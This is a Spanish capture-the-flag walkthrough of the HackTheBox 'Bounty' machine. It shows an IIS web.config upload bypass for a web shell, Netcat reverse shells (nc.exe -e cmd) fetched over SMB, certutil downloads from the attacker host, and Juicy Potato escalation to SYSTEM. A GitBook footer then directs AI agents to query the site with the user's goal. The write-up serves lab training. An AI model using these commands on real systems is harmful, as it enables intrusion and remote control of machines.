> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Guía de Bounty HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración de IIS y fuzzing de directorios * IIS `web.config` omisión de carga y ejecución de web shell * reverse shells de Windows sobre SMB * `SeImpersonatePrivilege` escalada con Juicy Potato {% endhint %} ## Reconocimiento Crea un espacio de trabajo para la máquina.
El TTL de `128` indica que el objetivo probablemente es una máquina Windows.
### Escaneo de puertos {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} Puerto `80` está abierto.
Escanea el servicio web en detalle. {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} El escaneo identifica Microsoft IIS HTTPD 7.5.
La página en el puerto `80` solo muestra una imagen.
### Enumeración de directorios Haz fuzzing al servidor web en busca de archivos y directorios. {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} El escaneo revela: * transfer.aspx * `uploadedfiles`
`transfer.aspx` acepta cargas de archivos.
Un `.aspx` la shell de comandos es rechazada porque su extensión no está permitida. {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
Busca `Todas las extensiones de archivo para una reverse shell de Windows IIS`. HackTricks describe varias extensiones relevantes, entre ellas `.asp`, `.aspx`, `.config`, y `.php`. {% embed url="" %}
El [Evasión de carga de web.config de IIS](/es/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permite la ejecución a través de `.config` archivos. #### Ejecutar archivos .config > Si una aplicación te permite subir un archivo .config a un directorio servido, un web.config de IIS puede ser útil para la ejecución de código. Una técnica añade la carga útil dentro de un comentario HTML: descarga un ejemplo aquí. > > Más información y técnicas para explotar esta vulnerabilidad aquí\[2] Crea un `web.config` archivo con el siguiente contenido. {% code overflow="wrap" %} ```bash ``` {% endcode %} El `.config` se carga correctamente.
Navega a `/uploadedfiles/web.config` para acceder a la web shell. El archivo se elimina después de unos segundos.
## Acceso inicial Usa la web shell para obtener una reverse shell. Coloca un Netcat ejecutable en el directorio actual: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Inicia un servidor SMB para compartir el archivo: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Configura tu máquina como listener en el puerto 443: ```bash sudo rlwrap nc -nvlp 443 ```
Ejecuta el comando de reverse shell desde la WebShell: {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} La reverse shell se conecta correctamente.
Recupera la bandera de usuario.
## Escalada de privilegios El usuario actual tiene el `SeImpersonatePrivilege` privilegio. {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
Descargar `JP.exe`. {% embed url="" %} Transfiérelo, junto con Netcat, a la máquina objetivo. {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
Inicia un listener en el puerto `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Ejecuta Juicy Potato para ejecutar `cmd.exe` como `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
Recupera la bandera de root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.